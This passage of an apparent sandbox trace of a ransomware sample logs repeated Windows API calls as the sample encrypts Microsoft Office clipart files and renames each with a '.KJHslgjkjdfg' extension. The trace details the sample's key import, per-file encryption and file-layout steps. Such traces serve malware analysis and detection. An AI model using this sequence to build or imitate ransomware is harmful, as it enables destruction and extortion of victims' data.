office\\clipart\\pub60cor\\an04323_.wmf.kjhslgjkjdfg")) returned 1 [0192.829] CloseHandle (hObject=0x130) returned 1 [0192.829] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd14, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AN04326_.WMF", cAlternateFileName="")) returned 1 [0192.829] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04326_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0192.830] GetProcessHeap () returned 0x2ef0000 [0192.830] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0192.830] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0192.830] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0192.830] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0192.834] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0192.834] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0192.834] GetProcessHeap () returned 0x2ef0000 [0192.834] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0192.834] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0192.834] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0192.834] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0192.834] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0192.834] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0192.834] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0192.834] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0192.834] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0192.834] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0192.834] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0192.834] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.834] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xd14, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xd14, lpOverlapped=0x0) returned 1 [0192.835] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xd20, dwBufLen=0xd20 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xd20) returned 1 [0192.835] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.835] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xd20, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xd20, lpOverlapped=0x0) returned 1 [0192.835] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0192.835] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xdf4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.835] SetEndOfFile (hFile=0x130) returned 1 [0192.837] GetProcessHeap () returned 0x2ef0000 [0192.837] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0192.837] GetProcessHeap () returned 0x2ef0000 [0192.837] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0192.837] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04326_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04326_.wmf.kjhslgjkjdfg")) returned 1 [0192.910] CloseHandle (hObject=0x130) returned 1 [0192.910] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x513d5e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x10c8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AN04332_.WMF", cAlternateFileName="")) returned 1 [0192.910] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04332_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0192.912] GetProcessHeap () returned 0x2ef0000 [0192.912] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0192.912] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0192.912] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0192.912] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0192.915] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0192.915] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0192.915] GetProcessHeap () returned 0x2ef0000 [0192.915] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0192.915] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0192.915] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0192.915] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0192.915] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0192.915] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0192.915] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0192.915] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0192.915] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0192.915] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0192.916] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0192.916] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.916] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x10c8, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x10c8, lpOverlapped=0x0) returned 1 [0192.917] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x10d0, dwBufLen=0x10d0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x10d0) returned 1 [0192.917] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.917] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x10d0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x10d0, lpOverlapped=0x0) returned 1 [0192.917] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0192.917] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x11a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.917] SetEndOfFile (hFile=0x130) returned 1 [0192.919] GetProcessHeap () returned 0x2ef0000 [0192.919] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0192.919] GetProcessHeap () returned 0x2ef0000 [0192.919] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0192.919] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04332_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04332_.wmf.kjhslgjkjdfg")) returned 1 [0192.942] CloseHandle (hObject=0x130) returned 1 [0192.942] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x513d5e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xc9c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AN04355_.WMF", cAlternateFileName="")) returned 1 [0192.942] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04355_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0192.943] GetProcessHeap () returned 0x2ef0000 [0192.943] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0192.943] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0192.943] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0192.943] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0192.948] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0192.948] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0192.948] GetProcessHeap () returned 0x2ef0000 [0192.948] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0192.948] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0192.948] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0192.948] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0192.949] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0192.949] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0192.949] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0192.949] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0192.949] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0192.949] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0192.949] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0192.949] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.949] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xc9c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xc9c, lpOverlapped=0x0) returned 1 [0192.950] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xca0, dwBufLen=0xca0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xca0) returned 1 [0192.950] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.950] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xca0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xca0, lpOverlapped=0x0) returned 1 [0192.950] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0192.950] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xd74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.950] SetEndOfFile (hFile=0x130) returned 1 [0192.951] GetProcessHeap () returned 0x2ef0000 [0192.951] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0192.951] GetProcessHeap () returned 0x2ef0000 [0192.951] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0192.951] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04355_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04355_.wmf.kjhslgjkjdfg")) returned 1 [0192.953] CloseHandle (hObject=0x130) returned 1 [0192.953] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x513d5e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x12c8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AN04369_.WMF", cAlternateFileName="")) returned 1 [0192.953] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04369_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0192.954] GetProcessHeap () returned 0x2ef0000 [0192.954] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0192.954] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0192.954] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0192.954] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0192.956] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0192.956] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0192.956] GetProcessHeap () returned 0x2ef0000 [0192.956] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0192.956] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0192.956] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0192.956] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0192.956] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0192.956] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0192.956] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0192.956] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0192.956] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0192.956] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0192.956] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0192.956] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.956] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x12c8, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x12c8, lpOverlapped=0x0) returned 1 [0192.957] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x12d0, dwBufLen=0x12d0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x12d0) returned 1 [0192.957] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.957] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x12d0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x12d0, lpOverlapped=0x0) returned 1 [0192.957] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0192.958] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x13a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.958] SetEndOfFile (hFile=0x130) returned 1 [0192.961] GetProcessHeap () returned 0x2ef0000 [0192.961] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0192.961] GetProcessHeap () returned 0x2ef0000 [0192.961] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0192.961] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04369_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04369_.wmf.kjhslgjkjdfg")) returned 1 [0192.975] CloseHandle (hObject=0x130) returned 1 [0192.976] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1384, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AN04384_.WMF", cAlternateFileName="")) returned 1 [0192.976] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04384_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 